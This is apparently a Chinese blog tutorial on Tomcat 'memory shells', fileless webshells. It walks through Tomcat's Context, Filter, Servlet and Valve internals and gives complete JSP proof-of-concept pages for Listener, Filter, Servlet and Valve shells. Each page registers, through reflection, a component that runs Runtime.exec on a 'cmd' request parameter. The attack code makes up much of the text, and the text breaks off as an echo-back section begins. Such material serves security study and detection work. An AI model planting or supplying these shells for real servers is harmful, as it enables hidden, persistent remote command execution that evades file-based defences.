JavaWeb内存马 0x00 前置知识 简介 内存马又名无文件马,见名知意,也就是无文件落地的 webshell 技术,是由于 webshell 特征识别、防篡改、目录监控等等针对 web 应用目录或服务器文件防御手段的介入,导致的文件 shell 难以写入和持久而衍生出的一种“概念型”木马。这种技术的核心思想非常简单,一句话就能概括,那就是对访问路径映射及相关处理代码的动态注册 。
Tomcat中的三种Context 在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。
image-20230131214733513
ServletContext Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,能对Servlet中的各种资源进行访问、添加、删除等。其在Java中的具体实现是javax.servlet.ServletContext
接口
ApplicationContext 在Tomcat中,ServletContext接口的具体实现就是ApplicationContext类,其实现了ServletContext接口中定义的一些方法。
Tomcat这里使用了门面模式
,对ApplicationContext
类进行了封装,我们调用getServletContext()
方法获得的其实是ApplicationContextFacade
类(门面类)
1 2 3 4 5 6 7 8 public ApplicationContextFacade (ApplicationContext context) { super (); this .context = context; classCache = new HashMap <>(); objectCache = new ConcurrentHashMap <>(); initClassCache(); }
ApplicationContextFacade
类方法中都会调用this.context相应的方法,因此最终调用的还是ApplicationContext
类的方法。
门面模式可以简单分为三个部分:子系统、门面(Facade)、客户端
客户端可以通过调用门面方法进而调用集成的子系统方法,以医院类比,客户端相当于病人,门面相当于接待员,而子系统是医院内部细化的各部门。
StandardContext org.apache.catalina.core.StandardContext
是子容器Context
的标准实现类,其中包含了对Context子容器中资源的各种操作。
ApplicationContext
中的许多方法实际上还是调用了StandardContext
中的方法
1 2 3 4 5 6 7 8 9 public class ApplicationContext implements ServletContext { private final StandardContext context; @Override public String getRequestCharacterEncoding () { return context.getRequestCharacterEncoding(); } }
总结 image-20230131221926469
可以看出我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
0x01 Tomcat内存马 Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
这依赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,为方便调试,先加入Tomcat依赖
1 2 3 4 5 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 10.0.23</version > </dependency >
注意版本与本机tomcat匹配,tomcat10后把很多常用类的位置都改了
Listener型 目标就是在服务器中动态注册一个恶意的Listener。
而Listener根据事件源的不同,大致可以分为如下三种
ServletContextListener
HttpSessionListener
ServletRequestListener
ServletRequestListener
用于监听ServletRequest
对象,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法
创建一个Servlet项目实现恶意Listener,目录配置⬇️
image-20230201014157169
shell_Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @WebListener public class shell_Listener implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd=request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } @Override public void requestDestroyed (ServletRequestEvent sre) { } }
访问任意目录可以执行命令
image-20230201014602139
接下来只要将恶意Listener动态注册进服务器
Listener 调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 requestInitialized:13 , shell_Listener (Listener) fireRequestInitEvent:5992 , StandardContext (org.apache.catalina.core) invoke:121 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:687 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:357 , CoyoteAdapter (org.apache.catalina.connector) service:382 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:895 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
跟进StandardContext#fireRequestInitEvent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public boolean fireRequestInitEvent (ServletRequest request) { Object instances[] = getApplicationEventListeners(); if ((instances != null ) && (instances.length > 0 )) { ServletRequestEvent event = new ServletRequestEvent (getServletContext(), request); for (Object instance : instances) { if (instance == null ) { continue ; } if (!(instance instanceof ServletRequestListener)) { continue ; } ServletRequestListener listener = (ServletRequestListener) instance; try { listener.requestInitialized(event); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.requestListener.requestInit" , instance.getClass().getName()), t); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t); return false ; } } } return true ; }
跟进第一行的getApplicationEventListeners()
1 2 3 4 5 private List<Object> applicationEventListenersList = new CopyOnWriteArrayList ();public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
image-20230201015745831
StandardContext
也定义类添加Listener的方法,那么我们为了注册恶意Listener,就必须先获取StandardContext
1 2 3 public void addApplicationEventListener (Object listener) { applicationEventListenersList.add(listener); }
获取StandardContext类 在StandardHostValve#invoke
中,可以看到其通过request对象来获取StandardContext
类
1 2 3 public final void invoke (Request request, Response response) throws IOException, ServletException { Context context = request.getContext();
JSP内置了request对象,因此我们可以通过反射获取
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
也可以利用类加载器
1 2 3 4 <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
再添加一下上面写的恶意Listener
1 2 3 4 <% shell_Listener shell_listener = new shell_Listener (); context.addApplicationEventListener(shell_listener); %>
完整POC Listener.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed (ServletRequestEvent sre) { } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Shell_Listener shell_Listener = new Shell_Listener (); context.addApplicationEventListener(shell_Listener); %>
测试前,先将之前的Listener删除,先直接尝试命令执行,发现弹计算器失败,再访问一下Listener.jsp
image-20230201021155544
此时Shell_Listener已经被加载进服务器,再次尝试弹计算器
image-20230201021249301
Filter型 仿照Listener的思路,实现一个恶意Filter。Filter的调用是通过FilterChain实现的,具体流程如下
image-20230201021445758
只要重写doFilter方法即可
恶意Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException; @WebFilter("/*") public class Shell_Filter implements Filter { @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException | NullPointerException e) { e.printStackTrace(); } } chain.doFilter(request, response); } }
image-20230201021930234
Filter调用分析 调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 doFilter:11 , Shell_Filter (Filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) invoke:197 , StandardWrapperValve (org.apache.catalina.core) invoke:97 , StandardContextValve (org.apache.catalina.core) invoke:540 , AuthenticatorBase (org.apache.catalina.authenticator) invoke:135 , StandardHostValve (org.apache.catalina.core) invoke:92 , ErrorReportValve (org.apache.catalina.valves) invoke:687 , AbstractAccessLogValve (org.apache.catalina.valves) invoke:78 , StandardEngineValve (org.apache.catalina.core) service:357 , CoyoteAdapter (org.apache.catalina.connector) service:382 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:895 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748 , Thread (java.lang)
跟进ApplicationFilterChain#internalDoFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 private void internalDoFilter (ServletRequest request,ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false" .equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object []{req, res, this }; SecurityUtil.doAsPrivilege ("doFilter" , filter, classType, args, principal); } else { filter.doFilter(request, response, this ); } } ... }
查看一下获取Filter的机制,filterConfig
是filters
数组成员,一个ApplicationFilterConfig
实例
1 2 3 private ApplicationFilterConfig[] filters = new ApplicationFilterConfig [0 ];ApplicationFilterConfig filterConfig = filters[pos++]
跟进查看一下filters
数组的赋值时机,在StandardWrapperValve#invoke()
方法中
1 2 3 4 5 @Override public final void invoke (Request request, Response response) throws IOException, ServletException { ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
跟进createFilterChain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static ApplicationFilterChain createFilterChain (ServletRequest request, Wrapper wrapper, Servlet servlet) { filterChain = new ApplicationFilterChain (); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); filterChain.addFilter(filterConfig); } return filterChain; }
跟进ApplicationFilterChain#addFilter
看一下添加机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void addFilter (ApplicationFilterConfig filterConfig) { for (ApplicationFilterConfig filter:filters) { if (filter==filterConfig) { return ; } } if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig [n + INCREMENT]; System.arraycopy(filters, 0 , newFilters, 0 , n); filters = newFilters; } filters[n++] = filterConfig; }
Filter动态注册 通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。这样程序创建时就可以找到添加的 Filter 了。
这里先说一个前提条件,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
使用 ServletContext 的 addFilter/createFilter 方法注册;
使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册;
使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态)。
这里只讨论第一种,并先关注比较重要的addFilter方法
在ServletContext
接口中有声明了3个addFilter
方法,其实现在 org.apache.catalina.core.ApplicationContext#addFilter
中。这里以Tomcat 10.0.23为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private FilterRegistration.Dynamic addFilter (String filterName, String filterClass, Filter filter) throws IllegalStateException { if (filterName == null || filterName.equals("" )) { throw new IllegalArgumentException (sm.getString( "applicationContext.invalidFilterName" , filterName)); } if (!context.getState().equals(LifecycleState.STARTING_PREP)) { throw new IllegalStateException ( sm.getString("applicationContext.addFilter.ise" , getContextPath())); } FilterDef filterDef = context.findFilterDef(filterName); if (filterDef == null ) { filterDef = new FilterDef (); filterDef.setFilterName(filterName); context.addFilterDef(filterDef); } else { if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null ) { return null ; } } if (filter == null ) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); } return new ApplicationFilterRegistration (filterDef, context); }
从传参可以看出filterDef必要的属性为filter
、filterClass
以及filterName
,动调一下会发现其实filterClass、filterName对应的其实就是web.xml中的<filter>
标签。
1 2 3 4 <filter> <filter-name></filter-name> <filter-class></filter-class> </filter>
并且可以发现ApplicationContext
的 addFilter
中将 filter 初始化存在了 StandardContext
的 filterDefs
中,但我们之前分析的FilterChain
中的Filter是在StandardContext
的filterMaps
里获取
这里可以跟进看一下Filter是怎么被添加到其他参数中的
在 StandardContext
的 filterStart
方法中生成了 filterConfigs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public boolean filterStart () { if (getLogger().isDebugEnabled()) { getLogger().debug("Starting filters" ); } boolean ok = true ; synchronized (filterConfigs) { filterConfigs.clear(); for (Entry<String,FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isDebugEnabled()) { getLogger().debug(" Starting filter '" + name + "'" ); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig (this , entry.getValue()); filterConfigs.put(name, filterConfig); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.filterStart" , name), t); ok = false ; } } } return ok; }
完成filterDefs
–>filterConfigs
在 ApplicationFilterRegistration 的 addMappingForUrlPatterns
中生成了 filterMaps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void addMappingForUrlPatterns ( EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) { FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterDef.getFilterName()); if (dispatcherTypes != null ) { for (DispatcherType dispatcherType : dispatcherTypes) { filterMap.setDispatcher(dispatcherType.name()); } } if (urlPatterns != null ) { for (String urlPattern : urlPatterns) { filterMap.addURLPattern(urlPattern); } if (isMatchAfter) { context.addFilterMap(filterMap); } else { context.addFilterMapBefore(filterMap); } } }
fileMap从filterDef中获取了FilterName
属性,后续又赋值了urlPatterns
,dispatcherMapping
可以看到filterMaps
的组成部分filterMap
的信息是从filterDef中获取
经过上面的分析,我们可以总结出动态添加恶意Filter的思路
获取StandardContext对象
创建恶意Filter
使用FilterDef对Filter进行封装,并添加必要的属性
创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
完整POC Filter.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <%@ page import ="java.io.IOException" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.util.Map" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %> <%! public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %> <% Shell_Filter filter = new Shell_Filter (); String name = "CommonFilter" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); %>
先注册恶意Filter
1 http://localhost:8080/Java_Shell_war_exploded/Filter.jsp
image-20230201044023838
Servlet型 先创建一个恶意Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import jakarta.servlet.*;import jakarta.servlet.http.*;import jakarta.servlet.annotation.*;import java.io.IOException;@WebServlet(name = "Shell_Servlet", value = "/shell") public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException | NullPointerException e){ e.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }
image-20230201055527413
接着需要实现动态注册Servlet
Servlet创建流程 Servlet的生命周期分为如下五部分
加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
初始化:当Servlet被实例化后,Tomcat会调用init()
方法初始化这个对象
处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()
方法处理请求
销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()
方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
卸载:当Servlet调用完destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作
Wrapper是对Servlet的抽象和包装,每个Context可以有多个Wrapper,Wrapper主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收,也是接下来注册恶意Servlet的关键
创建StandardWrapper 在StandardContext
#startInternal
中,调用了fireLifecycleEvent()
方法解析web.xml文件
1 2 3 4 5 6 protected void fireLifecycleEvent (String type, Object data) { LifecycleEvent event = new LifecycleEvent (this , type, data); for (LifecycleListener listener : lifecycleListeners) { listener.lifecycleEvent(event); } }
最终通过ContextConfig#webConfig()
方法解析web.xml获取各种配置参数
然后通过configureContext(webXml)
方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void configureContext (WebXml webxml) { context.setPublicId(webxml.getPublicId()); ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... }
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射
1 2 3 4 5 6 public void addServletMappingDecoded (String pattern, String name, boolean jspWildCard) { Wrapper wrapper = (Wrapper) findChild(name); }
加载StandWrapper 接着在StandardContext#startInternal
方法通过findChildren()
获取StandardWrapper
类
1 2 3 4 5 for (Container child : findChildren()) { if (!child.getState().isAvailable()) { child.start(); } }
最后依次加载完Listener、Filter后,就通过loadOnStartUp()
方法加载wrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); }
最后的poc中需要注意loadOnStartup
属性的设置,只有大于0才会被放入list,进而被加载wrapper.load()
动态注册Servlet 通过上面的分析可以总结流程
获取StandardContext
对象
编写恶意Servlet
通过StandardContext.createWrapper()
创建StandardWrapper
对象
设置StandardWrapper
对象的loadOnStartup
、ServletName
、ServletClass
属性值
将StandardWrapper
对象添加进StandardContext
对象的children
属性中
通过StandardContext.addServletMappingDecoded()
添加对应的路径映射
完整POC链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
先注册Servlet
1 http://localhost:8080/Java_Shell_war_exploded/Servlet.jsp
image-20230201064710941
Servlet型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现。
Valve型 需要先了解一下tomcat中的管道机制
Tomcat 在处理一个请求调用逻辑时需要传递Request 和 Respone 对象,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门。
Pipeline 中会有一个最基础的 Valve(basic),它始终位于末端(最后执行),封装了具体的请求处理和输出响应的过程。Pipeline 提供了 addValve
方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。
image-20230201064647521
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
动态添加Valve 先来简单看一下接口的定义,org.apache.catalina.Pipeline
的定义如下:
1 2 3 4 5 6 7 8 9 10 public interface Pipeline extends Contained { public Valve getBasic () ; public void setBasic (Valve valve) ; public void addValve (Valve valve) ; public Valve[] getValves(); public void removeValve (Valve valve) ; public Valve getFirst () ; public boolean isAsyncSupported () ; public void findNonAsyncValves (Set<String> result) ; }
org.apache.catalina.Valve
的定义如下:
1 2 3 4 5 6 7 public interface Valve { public Valve getNext () ; public void setNext (Valve valve) ; public void backgroundProcess () ; public void invoke (Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported () ; }
Tomcat 中 Pipeline 仅有一个实现 StandardPipeline,存放在 ContainerBase 的 pipeline 属性中,并且 ContainerBase 提供 addValve
方法调用 StandardPipeline 的 addValve 方法添加。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public void addValve (Valve valve) { if (valve instanceof Contained) { ((Contained) valve).setContainer(this .container); } if (getState().isAvailable()) { if (valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error(sm.getString("standardPipeline.valve.start" ), e); } } } if (first == null ) { first = valve; valve.setNext(basic); } else { Valve current = first; while (current != null ) { if (current.getNext() == basic) { current.setNext(valve); valve.setNext(basic); break ; } current = current.getNext(); } } container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve); }
Tomcat 中四个层级的容器都继承了 ContainerBase ,所以在哪个层级的容器的标准实现上添加自定义的 Valve 均可。
添加后,将会在 org.apache.catalina.connector.CoyoteAdapter
的 service
方法中调用 Valve 的 invoke
方法。
1 2 3 4 5 6 7 8 9 public void service (org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception { postParseSuccess = postParseRequest(req, request, res, response); if (postParseSuccess) { request.setAsyncSupported( connector.getService().getContainer().getPipeline().isAsyncSupported()); connector.getService().getContainer().getPipeline().getFirst().invoke( request, response);
这样思路就很清晰了,我们只要写一个恶意Valve为了方便可以继承ValveBase
,然后将恶意代码写在invoke方法中,之后只要先通过StandardContext
对象获取StandardPipeline
,这样就可以利用StandardPipeline.addValve()
动态添加Valve
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Pipeline" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %> <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %> <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
加载Valve
1 http://localhost:8080/Java_Shell_war_exploded/Valve.jsp
之后可以任意路径命令执行
image-20230201070553758
0x02 内存马回显技术 回显示例 可以利用之前的Tomcat Filter型内存马获取回显,修改一下恶意Filter
